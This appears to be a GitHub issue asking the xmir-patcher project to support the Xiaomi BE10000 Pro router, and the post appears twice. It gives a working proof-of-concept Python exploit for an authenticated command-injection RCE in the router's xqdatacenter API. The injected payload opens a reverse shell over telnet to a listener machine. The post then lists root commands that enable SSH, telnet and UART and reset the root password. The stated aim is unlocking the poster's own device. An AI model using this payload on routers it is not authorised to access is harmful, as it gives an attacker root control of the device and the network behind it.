Device Model
Xiaomi Router BE10000 Pro (小米路由器 BE10000 Pro)
Current Status
The xmir-patcher currently does not support the BE10000 Pro model. Existing methods (such as old firmware downgrades or specific exploit scripts) do not work on this device.
Discovery
I found a valid Authorized Remote Code Execution (RCE) vulnerability that works on the latest firmware of the BE10000 Pro. This vulnerability allows executing arbitrary commands with root privileges if a valid login token (stok) is provided.
Reference vulnerability analysis (Chinese): https://xz.aliyun.com/news/91619
Proof of Concept (PoC)
I have successfully verified this method to enable SSH on my BE10000 Pro. Below are the steps:
Prerequisites
- A computer on the same LAN as the router.
- A valid
stok token from the router (usually obtained by logging into the web interface http://192.168.31.1 and extracting it from the URL).
- Python 3 with the
requests library installed.
ncat (from nmap) installed on the listening machine.
Step 1: Start Listener
On your computer, start a netcat listener to receive the reverse shell:
Step 2: Trigger RCE and Get Shell
Run the following Python script.
Note: Replace YOUR_STOK_TOKEN with your actual router token and YOUR_PC_IP with your computer's IP address.
import requests
# Configuration
server_ip = "192.168.31.1" # Router IP
token = "YOUR_STOK_TOKEN" # REPLACE THIS with your actual stok
listener_ip = "192.168.31.7" # REPLACE THIS with your PC's IP
listener_port = "8888"
# Payload: Reverse shell via telnet
# Using telnet because busybox on some firmwares might lack full netcat features,
# but mkfifo + telnet is a reliable standard method.
shell = f";mkfifo /tmp/f; telnet {listener_ip} {listener_port} 0</tmp/f 2>&1 | /bin/sh > /tmp/f; #"
data = {
'payload': '{"api":7,"dev":"a","vendor":"' + shell + '","type":"a"}'
}
url = f"http://{server_ip}/cgi-bin/luci/;stok={token}/api/xqdatacenter/request"
print(f"Sending payload to {url}...")
try:
res = requests.post(url, data=data, timeout=10)
print("Response:", res.text)
except Exception as e:
print(f"Error: {e}")
Step 3: Enable SSH
Once you get the shell connection in your terminal from Step 1, run the following commands to enable SSH and set the root password:
# Enable services
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit
# Fix dropbear configuration (force debug channel if necessary)
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
# Restart dropbear
/etc/init.d/dropbear restart
# Set root password (change 'root' to your desired password)
echo -e 'root\nroot' | passwd root
After running these commands, you should be able to SSH into the router:
Suggestion for xmir-patcher
Could you please integrate this exploitation method into xmir-patcher?
Since this relies on an authenticated RCE, the tool could:
- Prompt the user to log in via the web UI or input their password to retrieve the
stok.
- Automatically inject the payload to enable SSH.
- This would provide a clean, software-based unlock solution for the BE10000 Pro.
Environment Details
- Router Model: BE10000 Pro
- Firmware Version: 1.0.70 download
Thank you for maintaining this great project!
PS: My English is not very good, so the content above was written with the assistance of AI. I hope the technical details are clear and helpful.
Device Model
Xiaomi Router BE10000 Pro (小米路由器 BE10000 Pro)
Current Status
The
xmir-patchercurrently does not support the BE10000 Pro model. Existing methods (such as old firmware downgrades or specific exploit scripts) do not work on this device.Discovery
I found a valid Authorized Remote Code Execution (RCE) vulnerability that works on the latest firmware of the BE10000 Pro. This vulnerability allows executing arbitrary commands with root privileges if a valid login token (
stok) is provided.Reference vulnerability analysis (Chinese): https://xz.aliyun.com/news/91619
Proof of Concept (PoC)
I have successfully verified this method to enable SSH on my BE10000 Pro. Below are the steps:
Prerequisites
stoktoken from the router (usually obtained by logging into the web interfacehttp://192.168.31.1and extracting it from the URL).requestslibrary installed.ncat(from nmap) installed on the listening machine.Step 1: Start Listener
On your computer, start a netcat listener to receive the reverse shell:
Step 2: Trigger RCE and Get Shell
Run the following Python script.
Note: Replace
YOUR_STOK_TOKENwith your actual router token andYOUR_PC_IPwith your computer's IP address.Step 3: Enable SSH
Once you get the shell connection in your terminal from Step 1, run the following commands to enable SSH and set the root password:
After running these commands, you should be able to SSH into the router:
Suggestion for xmir-patcher
Could you please integrate this exploitation method into
xmir-patcher?Since this relies on an authenticated RCE, the tool could:
stok.Environment Details
Thank you for maintaining this great project!
PS: My English is not very good, so the content above was written with the assistance of AI. I hope the technical details are clear and helpful.